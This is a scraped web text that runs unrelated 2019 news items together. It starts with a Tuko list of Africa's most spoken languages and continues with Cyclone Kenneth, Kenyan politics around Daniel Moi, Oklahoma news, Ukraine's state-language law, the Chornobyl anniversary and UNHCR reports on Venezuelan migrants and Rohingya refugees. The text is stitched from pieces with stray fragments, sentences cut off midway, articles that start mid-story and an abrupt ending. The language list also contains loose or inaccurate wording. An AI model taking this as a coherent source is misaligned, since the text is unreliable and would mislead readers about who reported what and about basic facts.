Africa With different communities arises diversity and also new dialects. Africa is a multi-ethnic continent with different countries and different cultures. But how many languages are spoken in Africa? Well, there is no specific number, but these are the most used languages in the continent. 1. Arabic Population estimate: 310 million Arabic is the most spoken language in Africa 2019 with a coverage of more than 310 million Africans mostly in the northern parts. It is both spoken as a native and secondary dialect for different communities living in the north. While the dialect did not originate from the continent, its prevalence has grown over the years to cover the largest section of the population. Image: languagephrases.com Source: UGC 2. Berber Population estimate: 20-30 million Berber or Amazigh is in the family of Afro-Asiatic language in North-Africa, mostly spoken in Morocco. As a family, it is a continuum of other dialects from different groups, in North and West Africa. In some instances, the dialects are hardly mutually intelligent and thus are addressed with specificity. However, Arab is fast gaining more prominence as the preferred dialect in the northern regions of the continent displacing Berber. 3. Hausa Population estimate: 63 million Hausa is a common language in the western Africa regions. It is spoken in Cameroon, Ghana, Niger, Nigeria, and Sudan. As a cross border dialect, it is mostly used in trading activities across the different countries in western and central Africa namely Chad, Burkina Faso, Benin, Niger, Nigeria, Congo, Togo, Sudan and Ghana. 4. Yoruba Population estimate: 80 million Yoruba is found in the West African regions especially in Nigeria, Togo, and Benin. It consists of different dialects including North-west Yoruba, North-east Yoruba, Central Yoruba, South-East Yoruba, and South-West Yoruba. 5. Oromo Population estimate: 34 million Oromo is an Afroasiatic macrolanguage and a continuum of four different dialects namely, Eastern Oromo, Southern Oromo, Central Oromo and Western Oromo. The largest population of this dialect are located in Ethiopia with others distributed in the neighbouring countries including Kenya, and Somalia. It is a commonly spoken across-border among the three countries in the horn of Africa where it is also considered as a minority. 6. Fulani Estimated population: 24 million people Fula is a dialect covering other dialects. As a cross-border language, it has found prominence in 20 western and central countries. The dialect belongs to a Senegambian group within the Niger-Congo family. The language is both a native and a secondary dialect with countries like Ghana, Sudan, and Cameroon using it. It is spoken as a second language for people living in Northeastern Nigeria and Northern Cameroon. 7. Amharic Estimated population: 22 million Amharic is under the Afro Asiatic family of languages and one among the Ethiopian Semitic. It is used as a first dialect among the Amhara and the Lingua franca living in Ethiopia. Further, the dialect is official in Ethiopia with most of the federal systems using it for official communication. 8. Igbo Estimated population: 50 million Spoken as a native by the Igbo people of Nigeria, it is among the most common dialects under the Niger-Igbo family. It has a cumulative total of over 20 languages. In Equatorial Guinea, Igbo is used as a minority, and in Nigeria, it is considered as a major language group. READ ALSO: List of French speaking countries in Africa 9. Manding Manding are mutually intelligible dialects in the West African region. It falls under the Niger-Congo linguistic classification and is famously known as Manden. The Bambara located in Mali, Mandinka of Guinea, and Mandinka of Gambia is the most known members of the Manden group. Notably, these members are the main dialects in their respective countries and are used for official communication. There is still ongoing research on the key distinguishing factors of these groups. However, the distinction between the western and eastern Manding is in their phonetic composition. 10. Swahili Image: languagephrases.com Source: UGC Population estimate: 120-150 million Swahili alias Kiswahili is the most famous dialect in the East African region covering Kenya, Tanzania and Uganda. The DRC Congo is also a member of the countries using Swahili. Falling under the Niger-Congo language family, Swahili is the first dialect of the Swahili people. Further, Swahili is a Bantu with a significant portion of its vocabulary originating from Arabic. In East African countries, Swahili is part of the teachable subjects. Spanish in Africa English, Portuguese and French have gained prominence in the continent after colonialism, with some countries using them as their official dialects. Is Spanish spoken in Africa? Well, unlike these other dialects which have grown in prominence, Spanish is only spoken in Equatorial Guinea as an official language. However, it is not the first language for any community, but a large population uses it for social and economic interactions. Official languages in Africa After colonisation, different countries embraced the dialects used by their colonial masters. However, there are other dialects which are approved as formal means of communication by different countries other than the ones from the colonialists. They include: Chewa - Malawi and Zimbabwe Kinyarwanda - Rwanda Kirundi - Burundi Sesotho - Lesotho, Zimbabwe Comorian - Comoros Kirundi - Burundi Setswana or Tswana - Botswana Sindebele, Shona - Zimbabwe Swahili - Tanzania, Uganda, Rwanda, and Kenya Swati - Swaziland Xhosa - South Africa (Xhosa is one of the African languages with clicks sound) Arabic-Comoros, Chad, Djibouti, Egypt, Eritrea, Mauritania, Somalia, Sudan, Tunisia, Algeria, Libya, Morocco and Zanzibar (Tanzania) Berber - Morocco and Algeria Amharic - Ethiopia Somali - Somalia Tigrinya Eritrea Malagasy - Madagascar Afrikaans - South Africa English - Ghana, Liberia, Namibia, Nigeria, Zambia and Zimbabwe. READ ALSO: List of ethnic groups in Africa The above are some of the languages spoken in Africa. They are unique to different groups that use them for their communication and interaction with others. While there are too many sub-groups and communities, every group has its way of communicating within itself and sharing with others. Further, the continent bonds together as a result of cross-border communication for trade and socialisation. READ ALSO: List of West African countries Source: Tuko Thousands of Tanzanians have deserted their homes in the coastal town of Mtwara over fear of being swept away by the dreaded Cyclone Kenneth which is set to make landfall on the night of Thursday, April 25. On Wednesday, April 24, Mtwara Regional Commissioner Gelasius Byakanwa ordered all schools in the region to close down as the parents flee the region with their kids. READ ALSO: Govt to deregister all driving schools without new generation licence by July 1 Cyclone Kenneth is estimated to be one of deadliest cyclones in the coastal towns of Mozambique and Tanzania. Photo: East African Source: UGC READ ALSO: Jonathan Moi's twin sons born out of wedlock demand recognition The Tanzania Meteorological Agency (TMA) said the storm would make landfall in Tanzania and Mozambique after it was spotted in the north western parts of Madagascar travelling at the speed of 160 km/hr, as reported by the East African. AccuWeather, an American media company that provides commercial weather forecasting services, said the cyclone is likely to hit Lindi and Mtwara regions of Tanzania and Pemba in Mozambique. The company warned the cyclone can result in life-threatening flooding and homes being swept away by floodwaters. READ ALSO: Gavana Mike Sonko atoboka dola akimnunulia mkewe mkufu If this depression becomes the next organised tropical cyclone in the South-West Indian Ocean, it would be given the name Kenneth, said AccuWeather. This comes barely days after the catastrophic Cyclone Idai that swept through the coastal region of Mozambique, Malawi and Zimbabwe in early March 2019 leaving over 1,000 people dead. The UN Childrens Fund said at least 1.6 million children in the three countries need help right away to recover from the affects of the cyclone. Do you have an inspirational story you would like us to publish? Please reach us through news@tuko.co.ke or WhatsApp: 0732482690. Follow us on Telegram: Tuko news Source: Tuko - The leaders had gone to condole with the family following demise of Jonathan Moi - Senate Speaker Ken Lusaka who accompanied Orengo and Kihika is said to have booked the appointment through Gideon Moi - Lusaka was allowed to met ex-president Moi while the two senators were blocked Siaya Senator James Orengo and his Nakuru counterpart Susan Kihika were on Friday, April 26, blocked from accessing retired president Daniel Moi after visiting his Kabarak home. The leaders had gone to condole with the family following the demise of Moi's eldest son, Jonathan Toroitich, who died in a Nakuru hospital last Saturday. READ ALSO: Retired president Moi will not receive guests as he mourns son Jonathan's death Siaya Senator James Orengo and his Nakuru counterpart Susan Kihika blocked from accessing Moi as Senate Speaker Ken Lusaka is permitted.Photo/Capital news Source: UGC READ ALSO: Jubilee MP Didmus Barasa accuses government of refusing to renew his firearm license The leaders are said to have secured an appointment with the retired president through his son Gideon Moi but were taken aback when they were told they could not see him shortly after arriving at his home. Senate Speaker Ken Lusaka who booked the appointment on behalf of the leaders was, however, reported to have been allowed to meet the aging ex-president. READ ALSO: Uhuru condoles with Moi's family following Jonathan's death Meeting Kenya's longest serving president has become a challenge to a section of leaders particularly those allied to Deputy President William Ruto. Moi's Press Secretary and Personal Assistant Lee Njiru had announced that the former president would not be able to personally receive guests for reasons he never explained. It is interesting, however, to note that despite this communication, the family has been selectively allowing some leaders to meet Moi while turning away others. President Uhuru Kenyatta on Friday, April 19 met the former head of state after visiting his home to condole with the family. Wiper leader Kalonzo Musyoka, former presidential candidate Peter Kenneth and Central Organisation of Trade Unions (COTU) Secretary General Francis Atwoli were allowed to meet Moi during their visit On Wednesday, April 24, Ruto, skipped the former president's home and directly visited the family of Jonathan at Kabimoi, a move that many observers said was aimed at avoiding the theatrics of being blocked again. On May 4 2018, Gideon orchestrated a blockade when the DP visited Mois Kabarak home after the retired president returned from a brief medical trip in Israel. Do you have an inspirational story you would like us to publish? Please reach us through news@tuko.co.ke or WhatsApp: 0732482690. Follow us on Telegram: Tuko news The man vegetable vendor who made it to Parliament I Tuko TV Source: Tuko.co.ke Tulsa Ballet wowed critics during its recent tour of Europe, where the company performed at major theaters in Italy, Spain and Switzerland. The program Tulsa Ballet performed included George Balanchine's "Who Cares?", which will be part of its upcoming Signature Series performances; Annabelle Lopez-Ochoa's "Shibuya Blues," which she created for Tulsa Ballet in 2017; and Kurt Jooss' 1932 ballet, "The Green Table," which the company performed in Tulsa in 2018. The company's performance at the Teatro Maestranza in Seville, Spain, was described by Marta Carrasco of Abcdesevilla, a national Spain daily, as a "great night of dance" by "a Tier One North American ballet company. "This is an exceptional company, one that stays away from the stereotypes of the star system and one where the entire ensemble is the star," Carrasco wrote, praising "the virtuosity of its troupe." Carrasco added that "the only pity being that this was a one-show-only engagement." House Speaker Charles McCall, R-Atoka, proposed a similar organization within the legislative staff, and some of his ideas may yet be incorporated into the final bill. The House passed it Thursday with the title off, indicating its headed to conference committee for further negotiations. In concept, SB 1 has been floating around the Capitol for years, and has generally met with two objections: one, the state Auditor and Inspectors office can already do what the new office would, and two, the new positions look suspiciously like high-priced empire building. Rep. Jon Echols, R-Oklahoma City, who presented the bill Thursday, told House members neither is the case. He said the new office will be geared toward helping the Legislature shape policy while the auditors office carries out more traditional auditing functions. Echols said the office is initially authorized for eight full-time employees at a cost of $1.7 million. He said he envisions eventually having about 15 employees. Those employees would be hired and their activities directed by a committee consisting of 12 legislators, with at least four being members of the House and Senate minority parties. A man who allegedly told authorities he robbed an area bank and then deposited the proceeds in another bank is not entitled to return of the funds that were later seized by authorities, an appellate court ruled. The 10th U.S. Circuit Court of Appeals Wednesday turned away John Robert Durans appeal of a lower court ruling that denied his request for the return of $18,000 seized by the government after he was arrested while trying to a rob Broken Arrow bank in 2009. A grand jury indicted Duran, 66, after he tried to rob a RCB Bank in February 2009. A bank manager and two customers reportedly foiled the robbery as he was trying to enter the business, authorities said. Duran later pleaded guilty to a pair of firearms charges in a plea bargain with prosecutors, who agreed to drop an attempted bank robbery count. He was sentenced later that year to 20 years in federal prison. However, during questioning by authorities after the foiled robbery attempt, Duran allegedly admitted receiving about $18,000 when he robbed the same bank two months earlier. Part of why board members approved the application is because theyre legally required to unless the request is not compliant with the federal Empowered Schools Act. It also must be fiscally feasible and unlikely to worsen academic achievement. But the board also expressed its excitement about the application, and many wondered why its taken this long to receive one. TPS is the only district to submit a plan requesting the flexibilities available under the Empowered Schools Act since it was enacted about six years ago. Board member Leo Baxter said there was a lot of enthusiasm from districts when the law was passed. He believes the complicated and extensive application process may be a determent. It took TPS over a year to prepare its proposal. Somethings wrong here, Baxter said. I dont know what the problem is, whether its the law or the process. But what weve done here is created something under the guise of, Well public schools can be treated just like a charter school. All you got to do is this. TV6 has since learnt that the body of the woman was not buried, but was found at the mortuar Ukrainian SkyUp Airlines launches regular flights from Kyiv to Spain and Italy on April 26. "Starting from April 26, 2019, SkyUp Airlines will launch regular flights from Kyiv to Spain and Italy," the airlines press service reports on Facebook. In particular, flights on Kyiv - Alicante (Spain) route will be operated four times a week, on Tuesdays, Thursdays, Fridays and Sundays, with one-way ticket price starting from UAH 2,000 (without baggage). Flights on Kyiv - Tenerife (Spain) - Kyiv route will be operated twice a week, on Tuesdays and Fridays,with one-way ticket price starting from UAH 4,661 (without baggage). In addition, flights on Kyiv - Naples (Italy) - Kyiv route will be performed twice a week, on Tuesdays and Fridays. The price of one-way ticket starts from UAH 1,869 (without baggage). As reported, Ukrainian low-cost airline SkyUp Airlines was founded in June 2017. The flights were launched in May 2018. The airline performs regular and charter flights. In 2018, SkyUp Airlines passenger flow was 442,000 people. ish Tennessee dairies benefit from Weigels commitment NASHVILLE, TN Weigels, one of East Tennessees largest milk processors, has committed to using milk produced exclusively in Tennessee. Wiegels has a history of being innovative with industry-leading decisions, and their choice to use only Tennessee-produced milk is a great example of that, Agriculture Commissioner Charlie Hatcher, D.V.M. said. We are thankful that Weigels is choosing to support Tennessee agriculture. This commitment will truly impact and benefit the bottom line for dairy farmers. All of the milk processed by Weigels will feature the Tennessee Milk logo. The logo was created to help consumers identify milk that has been entirely produced, processed, and bottled in Tennessee. The branding is administered by the Tennessee Department of Agriculture (TDA). Milk has been an important part of our heritage for more than 85 years, Weigels chairman Bill Weigel said. This new logo represents the pride and dedication of our Tennessee farmers, and we are proud to announce that Weigels will process and distribute milk only from Tennessee dairy farms. With 67 locations throughout East Tennessee, Weigels sells more than 2.5 million gallons of Tennessee milk each year. The company was among the first in the region to distribute pasteurized milk. The Tennessee Dairy Products Association (TDPA) would like to congratulate Weigels on achieving the distinction of producing Dairy products under the Tennessee Milk Logo program, TDPA representative Beth Farrow said. The partnership with the TDA and Tennessee dairy farmers to produce milk and dairy products promoting the Tennessee dairy industry embodies the mission of the TDPA. The Tennessee Milk branding will further help consumers find and support local farmers here in Tennessee. The Middle Tennessee State University Creamery, Sunrise Dairy, Hatcher Family Dairy, and G & G Family Dairy are also using the Tennessee Milk logo. The 110th General Assembly passed legislation enacting the Tennessee Milk logo. Sen. Frank Nicely and Rep. David Hawk sponsored the bill. TDA will continue working with processors to increase Tennessee Milk participation, giving consumers a broader opportunity to support local farmers. Tennessee has 204 cow dairy farms and approximately 31,000 dairy cows, goats, and sheep. Published April 26, 2019 The Verkhovna Rada, Ukraine's parliament, has adopted the law on ensuring the functioning of Ukrainian as a state language. A total of 278 lawmakers voted for the document at a parliament meeting on Thursday, according to an Ukrinform correspondent. Passage of the law required at least 226 votes. The deputies sang the anthem of Ukraine after the approval of the document. The law establishes the National Commission on the Standards of the State Language and introduces the post of the commissioner for the protection of the state language. The national commission will consist of nine members appointed by the Cabinet of Ministers. The powers of this body will include the approval of requirements for the levels of knowledge of the state language for acquiring Ukrainian citizenship. The national commission is authorized to organize and conduct an examination for the level of knowledge of the state language and to issue respective certificates. The commissioner for the protection of the state language will also be appointed and dismissed by the government. The commissioner will consider complaints and will be able to fine economic entities for violating the requirements of the law on the use of the state language in the field of providing services to consumers. In accordance with the law, the president, the chairman of the Verkhovna Rada and his deputies, the prime minister, all government members, heads of state institutions, enterprises and departments, people's deputies, civil servants and officials of all ranks, heads and staff of the National Police, judges, lawyers and notaries, heads of educational establishments, educators and medical workers of state and municipal health care institutions must speak the official language and apply it during the performance of their official duties. The law introduces the state program for the promotion of the acquisition of the Ukrainian language, which is approved by the Cabinet of Ministers. At the same time, the law notes that at the state level it is planned to organize Ukrainian language course for adults. The state should also ensure the opportunity to freely learn the state language for Ukrainian citizens who did not have such an opportunity. At the same time, it is envisaged that command of the Ukrainian language will be mandatory for persons intending to obtain Ukrainian citizenship. For this purpose, it will be necessary to pass a test on the level of knowledge of the state language in the order established by the government. According to the test results, a person will receive a respective certificate. The classification of levels of knowledge of the state language will be developed and approved by the national commission taking into account the recommendations of the Council of Europe's Common European Framework of Reference for Languages (CEFR). At the same time, foreign servicepeople who serve in the Ukrainian Armed Forces and have state awards, and their acquisition of Ukrainian citizenship is of state interest, will be able to obtain it without the certification of the level of knowledge of the state language. They will have to acquire the language within a year from the date of acquisition of Ukrainian citizenship. The law does not apply to the sphere of private communication and the holding of religious ceremonies. The law determines the peculiarities of the use of the state language in the sphere of culture, television and radio broadcasting, print media, consumer services, and other sectors. The overwhelming majority of the clauses of the law comes into force two months after its publication in the parliament's Holos Ukrainy newspaper. At the same time, in certain cases, this term is longer. For example, in the field of print media, the law provides for a transitional period of 30 months. The Verkhovna Rada adopted bill 5670-d on ensuring the functioning of Ukrainian as a state language at first reading on October 4, 2018. The preparation of the language bill for the second reading lasted about four months. Over this time, the Verkhovna Rada committee on culture and spirituality considered more than 2,000 amendments to this document. op Minister of Foreign Affairs of Lithuania Linas Linkevicius met with Ukraines President-elect Volodymyr Zelensky in Kyiv and confirmed Lithuanias support for Ukraine. "I held a very good meeting with Ukraines President-elect Volodymyr Zelensky in Kyiv. I congratulated on his landsliding victory in the presidential elections, reaffirmed Lithuania's continuous steadfast support to Ukraine's sovereignty, territorial integrity, reforms, European and Euro-Atlantic integration," Linkevicius posted on Twitter on Thursday. As reported, Lithuanian Foreign Minister Linas Linkevicius on April 25-26 is on a working visit to Ukraine. The purpose of his visit is to deepen bilateral cooperation in the framework of the Ukrainian-Lithuanian strategic partnership. ish When criticizing the Ukrainian language law adopted on Thursday, Hungary deliberately aggravates relations between the two countries, but the Ukrainian side hopes for understanding. I think that our Hungarian partners have deliberately chosen a line of confrontation. I will talk about this with Peter Szijjarto [Hungarian Foreign Minister] in Brussels in just two weeks, at the Eastern Partnership ministerial meeting. I repeat once again: this law is important but one should regard it as a support for the Ukrainian language, not as restriction of someones rights," Ukrainian Foreign Minister Pavlo Klimkin said at a joint briefing with Foreign Minister of Lithuania Linas Linkevicius, an Ukrinform correspondent reports. Klimkin also noted that a separate law on the languages of national minorities should be adopted. We should help our citizens. We do not want Hungarians or Romanians or anyone else to become less Hungarian or Romanian. They belong to our political nation, they should have the right to get education in their language, of course, their rights should not be limited but at the same time they should be able to get a real chance to learn Ukrainian and understand what country they live in," the minister stressed. Klimkin noted that he expected the Hungarian side to send such a political message but expressed hope for understanding between the countries. As reported, Hungarian Foreign Minister Peter Szijjarto called unacceptable the law on language, which had been adopted by the Parliament of Ukraine on April 25. The Law of Ukraine "On Ensuring the Functioning of Ukrainian Language as a State Language" contains recommendations of the Venice Commission regarding the consideration of the interests of national minorities in accordance with the international obligations of Ukraine. ol The 33rd anniversary of the accident at the Chornobyl nuclear power plant is marked today. On Saturday, April 26, 1986, a disaster occurred at Reactor Number 4, caused by a catastrophic power increase resulting in core explosions and open-air fires. This caused large quantities of radioactive materials and airborne isotopes to disperse in the atmosphere and surrounding land. The disaster has been widely regarded as the worst accident in the history of nuclear power in the world. As a result Reactor No. 4 was completely destroyed, and therefore enclosed in a concrete and lead sarcophagus, followed more recently by a large steel confinement shelter, to prevent further escape of radioactivity. Large areas of Europe were affected by the accident. The radioactive cloud spread as far away as Norway. Initially, Moscow and the leadership of the Ukrainian SSR concealed the fact of the accident and the consequences of an environmental disaster. Sweden was first to report on the increase in radiation levels. The first official report appeared in the USSR only on April 28. In the first days after the accident, the population of the 10-kilometer zone was evacuated. The evacuation zone was further expanded up to 30 kilometers. At the end of 1986, the destroyed reactor was covered with a special sarcophagus to prevent the spread of radiation. According to experts, about 95% of fuel remained in the reactor at the time of the accident, as well as a significant amount of radioactive substances, which consist of the remnants of the destroyed reactor. For safety reasons, on December 15, 2000, the operation of the Chornobyl NPP was suspended. At the same time, the Shelter, erected in 1986, was gradually destroyed. Ukraine appealed to the international community regarding competition of projects on transforming the shelter. In 2004, a tender was held for the design and construction of a new sarcophagus - the New Safe Confinement. This project is fully funded by the European Bank for Reconstruction and Development: 40 donor countries provided about EUR 1.5 billion for construction. As a result, on August 10, 2007, the contract on construction of the NSC was signed, and on October 29, 2007, the construction works kicked off. The best Ukrainian and foreign specialists were involved in the construction. On November 29, 2016, the shelter was covered by the NSC Arch. Now the New Safe Confinement over the destroyed power unit of the Chernobyl nuclear power plant is being prepared for commissioning. In the future, the works will be carried out to dismantle unstable structures of the shelter. According to the designer plan, the new building will solve the problem for at least a hundred years, although it is planned to eliminate the NPP in 2065. ol The International Committee of the Red Cross, UNHCR and the UN Children's Fund sent five trucks carrying humanitarian aid to the temporarily occupied territories of Donbas, according to the press service of the State Border Guard Service of Ukraine. "Five trucks carrying humanitarian aid from the International Committee of the Red Cross, UNHCR and the UN Children's Fund crossed the Novotroitske checkpoint in direction to the temporarily occupied territories of Ukraine. International organizations sent medical supplies, water pumps and their components to the residents of Donbas. In total, humanitarian cargo weighing seven tonnes was registered, reads the report. As reported, on April 24, the ICRC sent 13 trucks carrying 217 tonnes of humanitarian aid to the temporarily occupied territories of Donbas. iy The National Union of Journalists of Ukraine (NUJU) stands in solidarity with the persecuted colleagues and calls on international organizations and diplomatic missions to support its demands and step up pressure on Russian authorities in an effort to immediately release Ukrainian journalists and bloggers arrested in Russia, occupied Crimea and Donbas. The corresponding statement was approved at an expanded meeting of the NUJU Board in Kyiv, NUJU head Serhiy Tomilenko posted on Facebook. It is noted that citizen journalists and bloggers play an important role at a time when the activity of Ukrainian journalists in the territories of Ukraine, which are occupied by Russia, is impossible. The criminal prosecution of journalists and bloggers on part of Russian security officials, Russian authorities and courts, pro-Russian "administration of the occupied territories" is a direct violation of the freedom of speech and the right of people to impartial information, the statement says. The journalistic community of Ukraine demands to release Roman Sushchenko, a correspondent of the Ukrainian National News Agency Ukrinform who was illegally sentenced to 12 years in prison in the Russian Federation, to stop the persecution of Mykola Semena, a journalist of the Radio Libertys Crimea.Realities project who was banned from leaving the peninsula and being engaged in journalistic activities, as well as Crimean Tatar citizen journalists Server Mustafayev, Nariman Memedeminov and other Crimean Tatar activists and bloggers of the Crimean Solidarity association, whom the Russian authorities are holding in places of detention. We urge to use all levers of influence on the de facto authorities of the illegal Donetsk Peoples Republic grouping in the temporarily occupied Donetsk to free Radio Liberty journalist Stanislav Aseyev and freelance journalist of Radio Liberty Oleh Halaziuk, reads the statement. The pressure exerted on these journalists and bloggers has been repeatedly condemned by international institutions, including the International Federation of Journalists, the European Federation of Journalists, the OSCE Representative on Freedom of the Media, and the United Nations Human Rights Monitoring Mission. The NUJU also expressed hope that the issue of release of illegally detained and arrested journalists and bloggers, as well as other Ukrainians who have become victims of aggression, will be one of the priorities of newly elected President of Ukraine Volodymyr Zelensky. ol facebook like button Tweet tweet button for twitter Published April 26, 2019 Louisiana Gov. John Bel Edwards will be the keynote speaker at the University of Louisiana Monroes Spring 2019 Commencement on Saturday, May 11, 2019. The ceremony begins at 10 a.m. in Fant-Ewing Coliseum. "We are honored that Gov. John Bel Edwards has agreed to be our commencement speaker for our May ceremony," said ULM President Dr. Nick J. Bruno. "We make every effort to have a distinguished speaker at each of our commencement ceremonies to share their individual perspectives and knowledge to our graduates as they begin their professional careers. Gov. Edwards has been a champion for all of education." Edwards was sworn in as the 56th governor of Louisiana on Jan. 11, 2016. He was born the seventh of eight children to Sheriff Frank Jr. and Dora Jean Edwards, a Charity Hospital nurse. He grew up hunting and fishing in the town of Amite in Tangipahoa Parish. Edwards graduated at the top of his class at Amite High School and went on to attend the United States Military Academy at West Point. As a cadet, Edwards served as vice-chairman of the panel that enforces the West Point Honor Code. The governor graduated from West Point in 1988, commissioning as a second lieutenant in the U.S. Army. He subsequently completed Ranger School and served as an active duty Airborne Ranger for eight years. He and First Lady Donna Edwards began dating while students at Amite High School. They married in 1989 and have three children, Samantha Bel, Sarah Ellen, and John Miller. Edwards retired from the U.S. Army with the rank of captain after commanding a parachute infantry regiment in the 82nd Airborne. After returning home, he earned a law degree from Louisiana State University and opened a civil law practice in his hometown of Amite. Edwards was elected by the people of House District 72 to the Louisiana House of Representatives in 2008 and served eight years. He was then elected as governor of Louisiana in November 2015. View from a boat off Trinidad's north-west coast looking westwards across the Gulf of Paria towards Venezuela and the Bocas Islands between the two countries. Joshua Surtees UNHCR, the UN Refugee Agency, is deeply concerned about the fate of at least 21 Venezuelans missing after their boat sank this week en route from Venezuela to Trinidad and Tobago. This tragic incident highlights the extreme risks of sea journeys and other irregular cross-border movements undertaken by refugees and migrants. It also underscores the desperation of those forced to flee their homes and the extraordinary difficulties faced on their journey. According to the Trinidad and Tobago Coast Guard, a vessel called Jhonnaly Jose carrying at least 25 people from the Venezuelan town of Guiria towards Trinidad and Tobago capsized in the early hours of Wednesday April 24. The Trinidad and Tobago Coast Guard said four people had been rescued in a joint search and rescue effort with their Venezuelan counterparts, although other reports suggest a total of nine people have been saved. At least 21 people, among them women and children, are still unaccounted for and rescue efforts are continuing. More than three million Venezuelan refugees and migrants have left their country since 2015, mostly to neighboring countries, including islands of the southern Caribbean. For more information on this topic, please contact: UN High Commissioner for Refugees Filippo Grandi visits a registration centre at Kutupalong refugee camp in Bangladesh. UNHCR/Will Swanson At the end of a joint visit to Bangladesh, three top United Nations officials the United Nations Under-Secretary-General for Humanitarian Affairs and Emergency Relief Coordinator Mark Lowcock, Director General of the International Organization for Migration (IOM) Antonio Vitorino, and UN High Commissioner for Refugees Filippo Grandi today reiterated their commitment to keep working toward safe and sustainable solutions in Myanmar for Rohingya refugees and noted the UN efforts there to help create conditions conducive to return. Meanwhile, they called on the international community to continue supporting the critical needs of 1.2 million people in south-eastern Bangladesh, mostly Rohingya refugees but also including generous host communities. After visiting the refugee camps in Coxs Bazar and meeting with different refugee groups, they also highlighted the critical importance of supporting the Rohingya during their time in exile, in particular by expanding opportunities for learning and skills training. They noted that almost half of the 540,000 refugee children under the age of 12 are currently missing out on education altogether, while the remainder have access only to very limited schooling. Only a handful of teenage children are currently able to access any form of education or training. This remains one of the worlds biggest refugee crises, said Filippo Grandi. There are more than 900,000 Rohingya refugees in Bangladesh, most of whom fled Myanmar in 2017. I saw a great deal of progress, but their situation, especially for women and children, remains fragile. With the current crisis almost two years on we must give refugees the chance to learn, build skills and contribute to their communities while also preparing for reintegration when they can return to Myanmar, said Grandi. The future of the Rohingya refugees hangs in the balance. The Rohingya community is made up of so many young people who are in need of hope and opportunities if they are to build successful lives upon their return to Myanmar, Antonio Vitorino added. The visit also came just ahead of the cyclone period, which is followed by the monsoon season. Both pose serious risks, including flooding, landslides and disease outbreaks, to thousands of already vulnerable women, men and children. The UN leaders discussed with the Government ways the international community can further support preparedness and response efforts. While in the camps, they also assessed the ongoing work that has been undertaken to address weather-related risks, including the strengthening of shelters, the improvement of infrastructure, and the training of volunteers. They recognised the critical role the refugees themselves are playing in these efforts. We are concerned for the welfare of the Rohingya refugees who live in such vulnerable circumstances in Coxs Bazar, as well as for host communities which also face significant challenges, particularly in the lead up to the monsoon season, said Antonio Vitorino. The UN leaders also met with families who were going through the joint government and UNHCR biometric registration process, receiving documents that for many are a first and that confirm their identity in Bangladesh, as well as enhance their right to access services and protection. They also witnessed an innovative World Food Programme e-voucher system which gives refugees the ability to choose from an array of locally-resourced food staples and fresh vegetables in eight designated stores. In their meetings with refugees, the humanitarian leaders were also reminded of the harrowing circumstances refugees fled from and were encouraged by their resilience. The first time I was in Coxs Bazar in 2017, hundreds of thousands of Rohingya had just fled across the border from the most appalling brutality imaginable, said Mark Lowcock. I met with children who had seen parents killed. Women who were just holding on told me horrendous stories of sexual violence they had survived. During this trip, we met with a remarkable group of male refugee role models as well as women volunteers who are supporting those who have survived this brutality and also working to prevent sexual and domestic violence in the camps. A wise, far-sighted approach would see a stronger focus on helping the refugees not just recover from the horrors they have experienced, but also to prepare for a dignified longer-term future, said Lowcock. For more information: This site is temporarily unavailable If you manage this site and have a question about why the site is not available, please contact iPage directly UN migration chief Antonio Vitorino (seated left), UN refugee chief Filippo Grandi (seated middle) and UN relief chief Mark Lowcock (seated right) meet with UNHCR field staff at a registration site in Kutapalong refugee camp, Bangladesh. UNHCR/Will Swanson COX'S BAZAR, Bangladesh The world must not turn away. It was both a plea and a warning issued by three senior UN officials visiting the Kutupalong refugee camp today, the largest in the world. The settlement is home to more than 630,000 Rohingya refugees who fled the violence in Myanmar directed against them in 2017. An estimated 190,000 live in settlements in the vicinity, along with 330,000 of the most affected host communities. The monsoon season approaches. The three UN leaders emphasized that solidarity with the refugees, and the local people hosting them, continues. Im really appealing to donors, in light of the hardship of the people here, in light of the potential risks posed by cyclones and monsoons, said Filippo Grandi, the UN High Commissioner for Refugees. We need those resources not in three months, not in four months, but now. He was with Mark Lowcock, the UN Under-Secretary General for Humanitarian Affairs and Emergency Relief Coordinator, and Antonio Vitorino, Director General of the International Organization for Migration (IOM) on a three-day visit to Bangladesh. Now is time to act for Rohingya refugees: UN chiefs (Alexandre St-Denis, camera-editor / Michelle Hoffman, producer) In Dhaka on the first day they met with Prime Minister Sheikh Hasina, thanking her for the governments enormous and generous efforts on behalf of the Rohingya over several decades, and especially since the start of the 2017 crisis. The three UN leaders then made a point of visiting the camps together. The UN, they said, had responded to the Rohingya crisis in a unified manner. They wanted to emphasize that that unity and solidarity with the refugees, and the local people hosting them, continues. UNHCR, IOM and partners work in support of the government to manage the 34-camp complex. UN High Commissioner for Refugees Filippo Grandi shakes hands with one of the male role models working to combat sexual and gender-based violence at Kutupalong refugee camp in Bangladesh. UNHCR/Will Swanson The problems the refugees face remain immense. The leaders noted that more than half of the 540,000 refugee children under the age of 18 have no access to education, and the rest have access only to very limited schooling. Only a handful of teenagers are going to school. The three leaders met men serving as role models to the community, as well as female outreach volunteers. Both groups focus on raising awareness and supporting prevention of sexual and gender-based violence. Both told the delegation that in the absence of opportunities to work, learn and build skills, idleness among refugees is dispiriting and over time, deeply damaging. Mohammed Faisel, 23, poses for a portrait at Kutupalong refugee camp in Bangladesh. A Rohingya refugee from Myanmar, he says he uses every opportunity to talk with men in his community about the need to combat sexual and gender-based violence. UNHCR/Will Swanson So many of us are uneducated, Mohammed Faisal, 23, a male role model said, referring to many male refugees he knows. They say, we are useless. And for some men, their frustration leads them to feel distressed. One of the things UN and other agencies can do, Mark Lowcock said later, is to make sure that all those issues that women and girls are vulnerable to are thought about here with care and understanding while people are still stuck in the camps. Nisa Alin, 52, sits with a grandson (left) and son at a registration centre in Kutupalong refugee camp in Bangladesh. "These documents will help us go back," says Alin, who fled violence in Myanmar in 2018. UNHCR/Will Swanson Rohingya refugees work to mitigate the risk of flooding and landslides at Chakmarkul camp in Bangladesh. Cyclone season typically starts in April or May. Then come the monsoons. UNHCR/Santiago Escobar-Jaramillo The looming monsoon season and the need for money to prepare was a major concern, but the environmental effects of the refugees arrival were also discussed. The building of the camps led to massive deforestation. A major reforestation project has begun. The UN leaders pointed out that the Joint Response Plan for 2019 has set aside a large percentage to help the local Bangladeshi population with environmental and agricultural improvements. They also called for more development support for the people in impacted communities in the Coxs Bazar District. The leaders watched as hundreds of Rohingya lined up for the joint government and UNHCR biometric registration. More than 200,000 refugees have already registered for an identity card. Almost all see it as a way to open a door to eventual return to Myanmar. This document gives me the sense that something good will come of it in the future, Nisa Alin said. She fled in terror with her four daughters in August 2017. This will help us to go back, I hope, but with our rights restored. Having an identity is a basic human 